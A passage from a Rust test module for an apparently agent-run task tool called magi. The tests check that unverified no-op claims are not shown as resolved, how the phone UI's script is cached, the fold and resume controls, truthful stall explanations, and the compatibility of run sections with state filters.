10332        assert_eq!(view["latest_attempt"]["resolved"], true);
10333
10334        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
10335        assert_eq!(mid["latest_attempt"]["id"], c);
10336        assert_eq!(mid["latest_attempt"]["resolved"], true);
10337    }
10338
10339    #[tokio::test]
10340    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
10341        let fx = Fixture::start().await;
10342        let q = fx.queue();
10343        let runs = fx.runs();
10344
10345        // Still Blocked: the task is not resolved, so the older run must not
10346        // read as settled either.
10347        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
10348        write_run(&runs, still_blocked_a, RunStatus::Blocked);
10349        write_run(&runs, still_blocked_b, RunStatus::Blocked);
10350        let mut t1 = Task::new(
10351            "still stuck".to_owned(),
10352            "do it".to_owned(),
10353            PathBuf::from("/repo"),
10354            Source::Human,
10355        );
10356        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
10357        q.put(&mut t1).expect("put");
10358        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
10359        assert_eq!(view1["latest_attempt"]["resolved"], false);
10360
10361        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
10362        // to check - not a confirmed finish, so this must not read as
10363        // resolved either, even though the run is done in the sense that
10364        // nothing is still running.
10365        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
10366        write_run(&runs, noop_a, RunStatus::Blocked);
10367        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
10368        let mut t2 = Task::new(
10369            "claims done".to_owned(),
10370            "do it".to_owned(),
10371            PathBuf::from("/repo"),
10372            Source::Human,
10373        );
10374        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
10375        q.put(&mut t2).expect("put");
10376        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
10377        assert_eq!(
10378            view2["latest_attempt"]["resolved"], false,
10379            "an unverified no-op claim must not read as a confirmed finish"
10380        );
10381
10382        // Front end: an unresolved successor must not carry the "finished
10383        // this work" note or the muted chip treatment.
10384        assert!(APP_JS.contains("latest.resolved"));
10385    }
10386
10387    #[tokio::test]
10388    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
10389        let fx = Fixture::start().await;
10390        // No cache header at all meant browsers invented their own policy,
10391        // and one did: a phone went on showing "Candidates must be folded
10392        // before deleting. Run `magi fold` first." - deleted two releases
10393        // earlier - from a deck that no longer contained the sentence. The
10394        // button it named was right there, and unreachable.
10395        let js = fx.get("/app.js").await;
10396        assert_eq!(js.status, 200);
10397        let tag = js
10398            .header("etag")
10399            .expect("an etag to revalidate against")
10400            .to_owned();
10401        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
10402        assert_eq!(
10403            js.header("cache-control"),
10404            Some("no-cache, must-revalidate"),
10405            "the phone has to ask every time"
10406        );
10407
10408        // And the asking has to be cheap, or `must-revalidate` just means
10409        // "send the whole interface on every load".
10410        let again = fx
10411            .get_with("/app.js", &[("if-none-match", tag.as_str())])
10412            .await;
10413        assert_eq!(
10414            again.status, 304,
10415            "a deck it already has costs one round trip"
10416        );
10417        assert!(again.body.is_empty(), "304 carries no body");
10418
10419        // A weakened tag from a proxy still matches; a different build does
10420        // not, which is the case that has to deliver the new interface.
10421        let weak = fx
10422            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
10423            .await;
10424        assert_eq!(weak.status, 304);
10425        let stale = fx
10426            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
10427            .await;
10428        assert_eq!(stale.status, 200, "an older build must be replaced");
10429        assert!(stale.body.contains("renderRunActions"));
10430    }
10431
10432    #[test]
10433    fn the_deck_never_sends_the_operator_to_a_terminal() {
10434        // The whole point of the phone UI is that a terminal is not needed.
10435        // The delete control used to answer with "Run `magi fold` first."
10436        assert!(
10437            !APP_JS.contains("Run `magi fold` first"),
10438            "the deck must offer the fold, not prescribe a shell command"
10439        );
10440        assert!(APP_JS.contains("foldRun:"));
10441        assert!(APP_JS.contains("resumeRun:"));
10442        assert!(APP_JS.contains("renderRunActions"));
10443
10444        // Folding is destructive and armed in two steps, like deleting.
10445        assert!(APP_JS.contains("armedFold"));
10446        assert!(APP_JS.contains("Yes, fold worktrees"));
10447
10448        // And the copy has to say that the two actions are opposites, because
10449        // folding throws away exactly what a resume would continue from.
10450        assert!(APP_JS.contains("can no longer be resumed"));
10451    }
10452
10453    #[test]
10454    fn a_finished_run_explains_itself_with_its_own_last_line() {
10455        // The deck used to answer "why did this stop?" with a sentence chosen
10456        // by status alone. Run e633 stalled because two judges answered with
10457        // the wrong JSON shape and its card said "The panel collapsed on
10458        // agent quota" - with `quota: []` in the record and a quota-loss
10459        // counter right above it that correctly said nothing.
10460        assert!(
10461            !APP_JS.contains("collapsed on agent quota"),
10462            "a stall must not be explained by a cause the deck did not check"
10463        );
10464        assert!(
10465            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
10466            "and a block must not offer a guess with an `or` in it"
10467        );
10468
10469        // The reason it does have is `run.event`, which must reach finished
10470        // runs: gating it on movement hid the recorded truth at the one moment
10471        // the operator is reading the card to find out what happened.
10472        assert!(
10473            APP_JS.contains("setText(r.event, run.event || \"\")"),
10474            "the run's last line is rendered unconditionally"
10475        );
10476        assert!(
10477            !APP_JS.contains("moving && run.event"),
10478            "and never gated on the run still moving"
10479        );
10480
10481        // Quota keeps its own counter, fed by the number actually recorded.
10482        assert!(APP_JS.contains("lost to quota"));
10483    }
10484
10485    /// The runs tree (section) and the state chips (waiting/done) are two
10486    /// independent lenses ANDed together in `renderRuns`, and some pairings
10487    /// can never both be true for any run - every "Landed"/"Ended" run is
10488    /// done by construction, so pairing either with "Active" or "In flight"
10489    /// always rendered zero cards with the filter bar still claiming
10490    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
10491    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
10492    /// a handful of (waiting, status) shapes standing in for the run
10493    /// lifecycle, because `cargo test` cannot execute the front end.
10494    ///
10495    /// That stand-in list is itself the part that drifted twice in review:
10496    /// once shipped with `waiting: true` paired with a done status the
10497    /// lifecycle cannot produce, then over-corrected into treating every
10498    /// waiting run as never done - which made "Waiting on you" look
10499    /// incompatible with "Done" even for the one real, reachable shape
10500    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
10501    /// that combination. This test parses the shapes and the done-rule back
10502    /// out of `APP_JS`, reimplements `runSection` and the five state
10503    /// predicates independently in Rust, and checks the resulting
10504    /// section/filter compatibility table against the lifecycle rules by
10505    /// hand - so either direction of drift fails it again.
10506    #[test]
10507    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
10508        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
10509        let shapes_body_start =
10510            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
10511        let shapes_close = APP_JS[shapes_body_start..]
10512            .find("].map(")
10513            .expect("the shape list is closed by its done-computing .map(...)")
10514            + shapes_body_start;
10515        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
10516
10517        let mut shapes: Vec<(bool, String, bool)> = Vec::new();
10518        for entry in shapes_src.split('{').skip(1) {
10519            let waiting = entry.contains("waiting: true");
10520            let dead = entry.contains("live: \"dead\"");
10521            let status_at =
10522                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
10523            let status_end = entry[status_at..]
10524                .find('"')
10525                .expect("the status string is closed")
10526                + status_at;
10527            shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
10528        }
10529        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
10530
10531        // The done rule itself (`!["implementing"].includes(shape.status)`),
10532        // read out of the source rather than hardcoded, so a renamed
10533        // in-flight status can't silently make every parsed shape "done".
10534        let done_rule_marker = "done: !";
10535        let done_rule_at = APP_JS[shapes_close..]
10536            .find(done_rule_marker)
10537            .expect("the done rule follows the shape list")
10538            + shapes_close
10539            + done_rule_marker.len();
10540        let includes_at = APP_JS[done_rule_at..]
10541            .find(".includes(shape.status)")
10542            .expect("the done rule ends in .includes(shape.status)")
10543            + done_rule_at;
10544        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
10545            .trim()
10546            .trim_start_matches('[')
10547            .trim_end_matches(']')
10548            .split(',')
10549            .map(|s| s.trim().trim_matches('"'))
10550            .filter(|s| !s.is_empty())
10551            .collect();
10552
10553        let shapes: Vec<(bool, String, bool, bool)> = shapes
10554            .into_iter()
10555            .map(|(waiting, status, dead)| {
10556                let done = !not_done.contains(&status.as_str());
10557                (waiting, status, dead, done)
10558            })
10559            .collect();
10560
10561        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
10562        // outright, then merged/ready land, stalled/blocked/failed/
10563        // verified_noop end, and everything else is still in flight.
10564        fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
10565            if waiting {
10566                return "waiting";
10567            }
10568            if dead
10569                && !matches!(
10570                    status,
10571                    "merged"
10572                        | "ready"
10573                        | "stalled"
10574                        | "blocked"
10575                        | "failed"
10576                        | "verified_noop"
10577                        | "superseded"
10578                )
10579            {
10580                return "stale";
10581            }
10582            match status {
10583                "merged" | "ready" => "landed",
10584                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded" => "ended",
10585                _ => "flight",
10586            }
10587        }
10588
10589        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
10590        // way.
10591        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
10592            match filter_key {
10593                "active" => !done,
10594                "flight" => !done && !waiting && !dead,
10595                "stale" => !done && !waiting && dead,
10596                "waiting" => waiting,
10597                "done" => done,
10598                "all" => true,
10599                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
10600            }
10601        }
10602
10603        let compatible = |section: &str, filter_key: &str| {
10604            shapes.iter().any(|(waiting, status, dead, done)| {
10605                run_section(*waiting, status, *dead) == section
10606                    && filter_matches(filter_key, *waiting, *dead, *done)
10607            })
10608        };
10609
10610        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
10611        // (active, flight, stale, waiting, done, all) - hand-derived from the
10612        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
10613        // currently contains.
10614        let expected = [
10615            ("waiting", [true, false, false, true, true, true]),
10616            ("stale", [true, false, true, false, false, true]),
10617            ("flight", [true, true, false, false, false, true]),
10618            ("landed", [false, false, false, false, true, true]),
10619            ("ended", [false, false, false, false, true, true]),
10620        ];
10621        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
10622
10623        for (section, wants) in expected {
10624            for (filter_key, want) in filter_keys.iter().zip(wants) {
10625                assert_eq!(
10626                    compatible(section, filter_key),
10627                    want,
10628                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
10629                );
10630            }
10631        }
10632
10633        // The compatibility check exists only to be acted on: both pickers
10634        // must actually consult it rather than just render its answer.
10635        assert!(
10636            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
10637        );
10638        assert!(APP_JS.contains(
10639            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
10640        ));
10641        assert!(APP_JS.contains(
10642            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
10643        ));
10644    }
10645
10646    #[tokio::test]
10647    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
10648        // An operator-named directory - git checkout or not - is never
10649        // second-guessed, even when it does not exist at all: only the
10650        // flag's own unmodified `.` default is ever eligible for discovery.
10651        let dir = tempfile::tempdir().expect("tempdir");
10652        let explicit = dir.path().join("not-a-checkout");
10653        std::fs::create_dir_all(&explicit).expect("create dir");
10654        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
10655
10656        let missing = dir.path().join("does-not-exist-at-all");
10657        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
10658    }
10659}